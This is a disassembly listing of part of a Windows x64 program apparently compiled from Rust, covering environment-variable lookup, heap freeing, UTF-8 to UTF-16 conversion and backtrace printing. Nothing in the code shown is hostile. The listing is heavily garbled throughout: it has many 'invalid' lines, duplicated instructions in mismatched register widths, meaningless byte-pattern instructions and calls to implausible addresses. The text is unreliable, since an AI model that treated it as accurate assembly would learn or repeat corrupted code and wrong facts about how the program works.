lea rdx, [rbp - 0x18]
call fcn.140016790
mov rcx, qword [rbp - 0x10]
invalid
invalid
movzx edx, byte [rbp]
test rcx, rcx
test ecx, ecx
invalid
test ecx, ecx
je 0x1400d95a4
mov al, 1
test dl, dl
sal byte [rbp + 0x52], cl
sal byte [rbp + 0x52], cl
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d958a
cmp byte [rbp + 1], 0
jge 0x1400d9562
add byte [rsi + riz - 0xa], dh
xor al, 4
xor al, 4
je 0x1400d958a
test byte [rsi + 0x34], 4
xor al, 4
jne 0x1400d958a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
adc eax, 0x6a947
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x6a947
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400d95a6
invalid
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
invalid
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x73ebf
invalid
invalid
invalid
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d95a6
add bh, bh
push rax
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
rol byte [rax + rax*8 + 0x48c0950f], 1
add esp, 0x48
pop rsi
mov eax, edx
rol byte [rax + rax*8 + 0x48c0950f], 1
test al, al
setne al
add rsp, 0x48
add esp, 0x48
add esp, 0x48
pop rsi
pop rbp
ret
int3
int3
mov rbp, rsp
mov rcx, rdx
lea rdx, [0x14014b73e]
lea edx, [0x14014b73e]
lea edx, [0x14014b73e]
mov r8d, 2
mov eax, 2
pop rbp
jmp fcn.140013870
xchg esi, eax
invalid
invalid
invalid
xchg esi, eax
movabs byte [0xccccccccccccfff3], al
int3
int3
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
invalid
test dword [rax], esp
add al, 0
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.1400d9a20
mov rax, qword [rbp - 0x60]
movabs rdi, 0x8000000000000000
cmp rax, rdi
jne 0x1400d9636
add byte [rax], al
invalid
lea rcx, [rbp - 0x58]
call case.0x140019144.3166
mov qword [rsi], rdi
jmp case.0x140019144.3416
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x3f0], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], 0
mov qword [rbp + 0x410], 2
mov qword [rbp + 0x418], 0
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
cmp r8, 0x201
add dword [rdx], eax
add byte [rax], al
add dword [rdx], eax
add byte [rax], al
jae 0x1400d96c0
jmp 0x1400d96af
jae 0x1400d9786
cmp r8, 0x201
jae 0x1400d96c0
mov r15d, 0x200
lea r12, [rbp - 0x60]
mov r13, r8
jmp 0x1400d9718
sub r8, r14
sub rbx, r14
cmp rbx, r8
jae 0x1400d96ef
lea rcx, [rbp + 0x408]
mov rdx, r14
call fcn.140110110
mov rdi, qword [rbp + 0x408]
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rdi, rax
mov dword [rcx - 0x42], 0xffffffff
mov dword [rcx - 0x42], 0xffffffff
cmovb r14, rdi
cmovb esi, edi
mov qword [rbp + 0x418], r14
mov rbx, rdi
sbb byte [rax + rax], al
add byte [rax - 0x77], cl
sti
mov r15, r14
mov r12, qword [rbp + 0x3e8]
add byte [rbp - 0x77], cl
cmc
add byte [rbp - 0x77], cl
cmc
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x400]
invalid
add byte [rcx + rcx*4 - 0x1e], cl
mov rdx, r12
mov edx, esp
mov r8d, r13d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x1400d9747
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400d980b
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], al
invalid
mov r8d, esi
cmp r13, r8
jne 0x1400d96a0
test dword [rbp - 1], ecx
invalid
invalid
test dword [rbp - 1], ecx
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400d989c
add r13, r13
mov eax, 0xffffffff
dec dword [rcx + 0x39]
invalid
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x1400d96af
invalid
invalid
invalid
invalid
dec dword [rcx + 0x39]
invalid
invalid
jmp 0x1400d96c0
cmp r15, r8
jb 0x1400d98b6
lea rcx, [rbp + 0x3a0]
add byte [rax], al
mov rdx, r12
call fcn.1400d7cd0
movups xmm0, xmmword [rbp + 0x3a0]
add byte [rdi], cl
adc byte [rbp + 0x3b0], cl
add byte [rdi], cl
adc byte [rbp + 0x3b0], cl
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
cmp qword [rbp + 0x408], 0
je 0x1400d97da
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rsi, 0x8000000000000000
cmp qword [rbp + 0x3c0], rsi
mov rax, qword [rbp + 0x3f8]
je 0x1400d9858
add byte [rax], al
add byte [rax], al
add byte [rax - 0x3f4ac6b8], al
add eax, dword [rax]
add byte [rax - 0x75], cl
test eax, edi
add eax, dword [rax]
add byte [rsp + riz*2 + 0xf], dh
sub byte [rbp + 0x3c0], al
movaps xmm1, xmmword [rbp + 0x3d0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
jmp 0x1400d9867
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
enter 0x4802, 0xffffffffffffff89
test eax, ecx
add eax, dword [rax]
add byte [rax - 0x42], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0xb5
rol byte [rbx], 0
add byte [rax - 0x7d], cl
mov ebp, 0x408
or byte [rax + rax], al
add byte [rax], al
je 0x1400d9851
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0xb5
rol byte [rbx], 0
add byte [rax - 0x7d], cl
mov ebp, 0x408
or byte [rax + rax], al
add byte [rax], al
je 0x1400d9851
mov r8, qword [rbp + 0x410]
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3f8]
mov qword [rax], rsi
lea rcx, [rbp + 0x3c8]
lea ecx, [rbp + 0x3c8]
lea ecx, [rbp + 0x3c8]
call case.0x140019144.3166
cmp qword [rbp + 0x3f0], 0
add eax, dword [rax]
add byte [rax], al
je case.0x140019144.3416
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x400]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
adc eax, dword ds:[rdi]
add byte [rdx + 0x28], bh
adc eax, dword ds:[rdi]
add byte [rdx + 0x28], bh
call fcn.140108350
jmp 0x1400d98cb
add bl, ch
adc eax, 0x13058d48
adc eax, dword [rdi]
add byte [rcx + rcx*4 - 0x3f], cl
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.140108340
ud2
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x408], 0
je 0x1400d990c
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
invalid
je 0x1400d995c
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
add byte [rsi + rdx + 0x48], dh
invalid
mov rcx, qword [0x140182260]
invalid
mov rcx, qword [0x140182260]
add byte [rcx], dh
ror byte [rbx + rcx*4 - 0x7b], cl
add byte [rax + rax], al
add al, 0
xor edx, edx
mov r8, qword [rbp + 0x400]
add al, 0
add bh, bh
adc eax, 0x38a04
add eax, dword [rax]
add al, 0
add bh, bh
adc eax, 0x38a04
add eax, dword [rax]
add eax, dword [rax]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
push rax
lea rbp, [rsp + 0x50]
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov rax, qword [rcx]
mov rcx, rax
ror dword [rax - 1], 0xc1
ror dword [rax - 1], 0xc1
je 0x1400d9a04
lea rdx, [rax + rax]
lea edx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
cmova ecx, edx
cmova ecx, edx
movabs r8, 0x24924924924924a
xor edx, edx
ror byte [rcx + rdi - 0x3f], cl
and al, 0x49
xchg edx, eax
and al, 0x49
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
mov edi, 4
add byte [rax], al
add byte [rax], al
cmovae rdi, rcx
imul r8, rdi, 0x38
imul eax, edi, 0x38
imul eax, edi, 0x38
shl edx, 3
test rax, rax
test eax, eax
test eax, eax
je 0x1400d99d7
mov rcx, qword [rsi + 8]
imul rax, rax, 0x38
mov qword [rbp - 0x30], rcx
invalid
or byte [rax + 0x6b], cl
sar byte [rax], 0x48
mov dword [rbp - 0x30], ecx
invalid
ror byte [rax - 0x77], 1
loopne 0x1400d9989
mov qword [rbp - 0x20], rax
mov eax, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
jmp 0x1400d99d9
add dh, byte [rcx]
xor eax, eax
ror byte [rax - 0x77], 0x45
fmul dword [rax - 0x73]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
call 0x1105b2731
call 0x1105b2731
call fcn.1400d4d20
cmp qword [rbp - 0x18], 0
invalid
add byte [rbp + 0x1a], dh
mov bl, 0xff
dec dword [rax - 0x7d]
jge 0x1400d99d6
invalid
invalid
call 0x188280ef2
mov eax, dword [rbp - 0x10]
invalid
add byte [rbp + 0x1a], dh
mov rax, qword [rbp - 0x10]
invalid
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.140107fc0
add al, byte [rax]
add al, byte [rax]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
mov edx, dword [rbp - 8]
call fcn.140107fc0
int3
add ah, cl
int3
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov r14, rdx
mov esi, edx
invalid
mov esi, edx
mov qword [rbp - 0x20], rcx
mov rsi, r8
mov esi, eax
mov esi, eax
mov eax, 2
inc rsi
je 0x1400d9a7f
mov rax, rsi
shr rax, 0x3e
jne 0x1400d9ce5
lea rdi, [rsi + rsi]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
je 0x1400d9cea
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rax
call 0x1305323cf
mov qword [rbp - 8], 0
add rbx, r14
xor edi, edi
mov r12, 0xffffffffffffffff
lea r15, [rbp - 0x18]
xor r13d, r13d
jmp 0x1400d9abf
mov word [rax + rdi*2], r13w
inc rdi
mov qword [rbp - 8], rdi
mov r13d, esi
test r13w, r13w
je 0x1400d9ae0
xor esi, esi
cmp rdi, qword [rbp - 0x18]
jne 0x1400d9ab0
jmp 0x1400d9bc0
cmp r14, rbx
je 0x1400d9bf2
movzx edx, byte [r14]
movzx r13d, dl
test r13b, r13b
js 0x1400d9b06
inc r14
xor esi, esi
cmp rdi, qword [rbp - 0x18]
jne 0x1400d9ab0
scasd eax, dword [rdi]
scasd eax, dword [rdi]
jmp 0x1400d9bc0
mov ecx, r13d
and ecx, 0x1f
invalid
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x1400d9b5d
invalid
movzx r13d, byte [r14 + 2]
shl r8d, 6
and r13d, 0x3f
or r13d, r8d
cmp dl, 0xf0
jb 0x1400d9b77
add r14, 2
shl ecx, 6
or ecx, r8d
mov r13d, ecx
xor esi, esi
cmp rdi, qword [rbp - 0x18]
je 0x1400d9bc0
nop dword [rax]
mov r8, rbx
sub r8, r14
add r8, 3
cmovb r8, r12
invalid
invalid
shr r8, 2
cmp si, 1
sbb r8, 0
add r8, 2
rol byte [rdx], 0x4c
mov ecx, edi
invalid
rol byte [rdx], 0x4c
mov ecx, edi
mov rdx, rdi
call fcn.140110110
mov rax, qword [rbp - 0x10]
invalid
jmp 0x1400d9ab0
invalid
mov r8, qword [rbp - 0x10]
mov rax, rdi
mov rcx, r8
cmp rdi, 8
jb 0x1400d9c4d
mov rcx, r8
mov rax, rdi
cmp word [rcx], 0
je 0x1400d9c70
cmp word [rcx + 2], 0
je 0x1400d9c70
add rax, rax
xor edx, edx
nop word cs:[rax + rax]
cmp rax, rdx
je case.0x1400a4d60.848
cmp word [rcx + rdx], 0
lea rdx, [rdx + 2]
lea edx, [rdx + 2]
lea edx, [rdx + 2]
jne 0x1400d9c60
lea rax, [0x14014abb8]
mov rcx, qword [rbp - 0x20]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
sysret
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
cmp qword [rbp - 0x18], 0
je 0x1400d9cd4
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400d9cd4
cmp rdi, qword [rbp - 0x18]
jne 0x1400d9cb7
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov word [r8 + rdi*2], 0
inc rdi
mov qword [rbp - 8], rdi
mov rax, qword [rbp - 0x20]
mov qword [rax + 0x10], rdi
movups xmm0, xmmword [rbp - 0x18]
invalid
invalid
movups xmmword [rax], xmm0
call 0x1880dade4
add esp, 0x48
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140010b00
mov ecx, 2
mov rdx, rdi
add byte [rax - 0x77], cl
cli
call fcn.140107fc0
int3
je 0x1400d9d33
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
mov qword [rbp - 0x58], rdx
push rbp
test al, 0x48
test edx, edx
sal byte [rbp + 0x14], cl
cmp byte [rbx + 0x20], 0
jne 0x1400d9d8f
inc rsi
mov qword [rcx + 8], rsi
xor eax, eax
jmp 0x1400da112
mov r15, r8
mov r14, r9
invalid
mov rdi, rcx
mov rax, qword [rbx]
test rsi, rsi
je 0x1400d9e4c
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str.___________________at_library_std_src...._backtrace_srcdbghelp.rs
mov r8d, 6
call qword [rax + 0x18]
test al, al
jne 0x1400da110
cmp byte [rbx + 0x20], 1
jne 0x1400d9f77
mov rax, qword [rbx]
lea rcx, [0x140172b18]
mov qword [rbp - 0x40], rcx
lea rdx, [0x1400d5d50]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0x15
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov dword [rbp], 1
mov dword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov dword [rbp + 0x10], 0
mov dword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
and byte [r11], r8b
and byte [r11], r8b
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
lea rcx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
jmp 0x1400d9f56
lea rcx, [rbx + 0x18]
mov qword [rbp - 0x40], rcx
lea rcx, [fcn.140012f00]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x10], 2
mov qword [rbp], 0
mov qword [rbp + 8], 4
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
lea rcx, [0x14014a0c0]
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0x48], 2
lea r12, [rbp - 0x10]
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 1
lea r13, [rbp - 0x40]
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013bb0
test al, al
jne 0x1400da110
cmp byte [rbx + 0x20], 1
jne 0x1400d9f77
invalid
add byte [rax - 0x75], cl
add ecx, dword [rax - 0x73]
test al, 0x48
mov dword [rbp - 0x40], ecx
mov rax, qword [rbx]
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x40], rcx
lea rcx, [0x1400da2d0]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], 0x12
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov dword [rbp + 8], 1
mov dword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov dword [rbp + 0x18], 0x20
mov dword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
lea rcx, [0x14014a0e8]
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0x48], 2
mov qword [rbp + 0x60], r12
invalid
invalid
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x50], r13
invalid
invalid
mov qword [rbp + 0x58], 2
pop r8
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013bb0
test al, al
jne 0x1400da110
cmp dword [r15], 3
je 0x1400da015
movzx eax, byte [rbx + 0x20]
cmp eax, 2
je 0x1400da015
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x40], rcx
lea rcx, [0x1400d7270]
invalid
dec dword [rax - 0x77]
enter 0xffffffffffff8d48, 0xd
cmp byte [rbx - 0x76b7fff7], cl
mov dword [rbp + 0x40], ecx
invalid
mov dword [rbp + 0x40], ecx
mov qword [rbp + 0x48], 1
mov qword [rbp + 0x60], 0
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 1
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x45], cl
jmp 0x1400da0e8
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x45], cl
jmp 0x1400da0e8
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149b99]
mov r8d, 9
call qword [rax + 0x18]
test al, al
je 0x1400da0f1
mov qword [rbp - 0x28], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x40]
call fcn.140013bb0
test al, al
jne 0x1400da110
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149e10]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x1400da126
mov al, 1
add rsp, 0xf8
pop rbx
pop rdi
clc
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp dword [rbp + 0xe0], 1
mov rcx, rdi
jne 0x1400d9d81
mov rax, r14
mov rax, qword [r14]
cmp eax, 2
je 0x1400d9d81
invalid
dec dword [rbx + 0xe885]
add byte [rcx + 0x7b80b045], cl
and byte [rcx], al
mov eax, dword [rbp + 0xe8]
mov dword [rbp - 0x50], eax
cmp byte [rbx + 0x20], 1
jne 0x1400da1f2
invalid
mov rax, qword [rbx]
lea rcx, [0x140172b18]
mov qword [rbp - 0x40], rcx
lea rdx, [0x1400d5d50]
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0x12
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013bb0
test al, al
jne 0x1400da110
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x6ff0a
add ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x6ff0a
mov r8d, 0x10
call qword [rax + 0x18]
test al, al
jne 0x1400da110
mov rcx, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
mov rdx, qword [rbx]
mov qword [rbp - 0x10], rdx
lea r8, [rbp - 8]
movups xmm0, xmmword [r14]
movups xmmword [rbp - 8], xmm0
mov r9, qword [r14 + 0x10]
mov qword [rbp + 8], r9
call qword [rax + 0x20]
test al, al
jne 0x1400da110
mov rax, qword [rbx]
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rcx
lea rcx, [0x140013de0]
mov qword [rbp + 0x48], rcx
lea rcx, [0x140172448]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], 1
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x40]
mov qword [rbp], rcx
mov qword [rbp + 8], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x10]
call fcn.140013bb0
test al, al
jne 0x1400da110
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149e10]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
mov rcx, rdi
je 0x1400d9d81
cli
invalid
invalid
cli
invalid
jmp 0x1400da112
mov dword [rsi], 1
mov qword [rsi + 8], 0x12
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
mov rdx, rax
invalid
ret 0x1f0f
nop dword [rax + rax]
mov rcx, r8
shr rdx, 4
mov r8d, eax
and r8b, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
lea edx, [rax + 0x57]
lea edx, [rax + 0x57]
push rax
push rdi
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
mov byte [rbp + rcx - 0x52], r9b
lea r8, [rcx - 1]
cmp rax, 0x10
cmp eax, 0x10
mov rax, rdx
jae 0x1400da330
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400da3bb
mov eax, 0x81
sub rax, r8
ror byte [rax + 1], 0xe9
ror byte [rax + 1], 0xe9
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
sub byte [rax - 0x77], cl
and al, 0x20
lea r8, [0x1401721e0]
mov r9d, 2
mov rcx, rsi
mov dl, 1
call fcn.140013020
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rbp + 0x30]
xor byte [rax - 0x7f], cl
invalid
rol byte [rax], 0
add byte [rdi + 0x5e], bl
pop rbp
ret
xor byte [rax - 0x7f], cl
invalid
lea r8, [0x140114220]
mov edx, 0x80
call fcn.1401082c0
int3
leave
movabs r10, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi + 0x11], 0x4c
cmovne ecx, ecx
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi + 0x11], 0x4c
cmovne ecx, ecx
mov rcx, rdx
mov rdx, rax
pop rbp
jmp fcn.1400d7510
invalid
invalid
invalid
dec esp
int3
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
adc dh, bh
adc dh, bh
invalid
mov rax, qword [rcx]
mov ecx, eax
and ecx, 3
lea r8, [0x140178b0c]
add byte [rcx + 0x63], cl
or al, 0x88
add byte [rcx + 0x63], cl
or al, 0x88
add rcx, r8
jmp rcx
mov r9, qword [rax]
mov r8, qword [rax + 8]
mov rcx, rdx
mov rdx, r9
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013870
mov ecx, esi
mov rdi, rdx
mov edx, eax
call fcn.1400d6750
invalid
dec dword [rax - 0x77]
jne 0x1400da43c
lea rax, [0x140010b50]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0xc]
lea eax, [rbp + 0xc]
invalid
lea eax, [rbp + 0xc]
mov qword [rbp - 0x20], rax
lea rax, [0x140019a90]
loopne 0x1400da4c8
lea eax, [0x140019a90]
mov qword [rbp - 0x18], rax
lea rax, [0x1401493d0]
mov qword [rbp - 0x60], rax
movabs al, byte [0x3a845c748]
movabs al, byte [0x3a845c748]
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x7d8348fff396eae8]
lock add byte [rdi], cl
mov edx, dword [rdi + 0x28]
lea r8, [rbp - 0x60]
call fcn.140013bb0
cmp qword [rbp - 0x10], 0
je 0x1400da55b
jge 0x1400da4ba
add byte [rdi], cl
test byte [rdx + 0x4c000000], cl
mov eax, dword [rbp - 8]
mov r8, qword [rbp - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov ebx, eax
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
mov eax, ebx
jmp 0x1400da55b
or rax, 0xffffffff8b490007
add al, 0xc0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [rbp - 0x30]
mov qword [rbp - 0x10], rax
lea rax, [0x1400d5d50]
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
mov dword [rbp - 8], eax
lea rax, [0x140172b18]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rbp - 0x60]
call fcn.140013bb0
nop
add rsp, 0x98
add esp, 0x98
add esp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov rax, qword [rax + 0x20]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
jge 0x1400da598
invalid
je 0x1400da5be
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
jge 0x1400da598
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp - 8]
